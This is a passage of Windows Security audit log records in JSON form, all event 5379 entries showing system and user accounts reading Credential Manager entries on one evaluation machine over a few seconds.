,"ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.840940Z"}},"EventRecordID":21042,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.841216Z"}},"EventRecordID":21043,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.844808Z"}},"EventRecordID":21044,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.844841Z"}},"EventRecordID":21045,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.845365Z"}},"EventRecordID":21046,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.849932Z"}},"EventRecordID":21047,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"WindowsLive:(token):name=02bgqvdxvxxqstyq;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.850130Z"}},"EventRecordID":21048,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"WindowsLive:(cert):name=02bgqvdxvxxqstyq;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.850163Z"}},"EventRecordID":21049,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.856937Z"}},"EventRecordID":21050,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(token):name=02raxurszsovscdg;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.857209Z"}},"EventRecordID":21051,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(cert):name=02raxurszsovscdg;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:24.857311Z"}},"EventRecordID":21052,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.078874Z"}},"EventRecordID":21053,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.078919Z"}},"EventRecordID":21054,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.079224Z"}},"EventRecordID":21055,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.145587Z"}},"EventRecordID":21056,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.145924Z"}},"EventRecordID":21057,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.148294Z"}},"EventRecordID":21058,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.148329Z"}},"EventRecordID":21059,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.303218Z"}},"EventRecordID":21060,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.303413Z"}},"EventRecordID":21061,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.303449Z"}},"EventRecordID":21062,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:target=virtualapp/didlogical","Type":0,"CountOfCredentialsReturned":1,"ReadOperation":"%%8100","ReturnCode":0,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.629064Z"}},"EventRecordID":21063,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.629451Z"}},"EventRecordID":21064,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.630967Z"}},"EventRecordID":21065,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.630999Z"}},"EventRecordID":21066,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.939914Z"}},"EventRecordID":21067,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:25.939959Z"}},"EventRecordID":21068,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
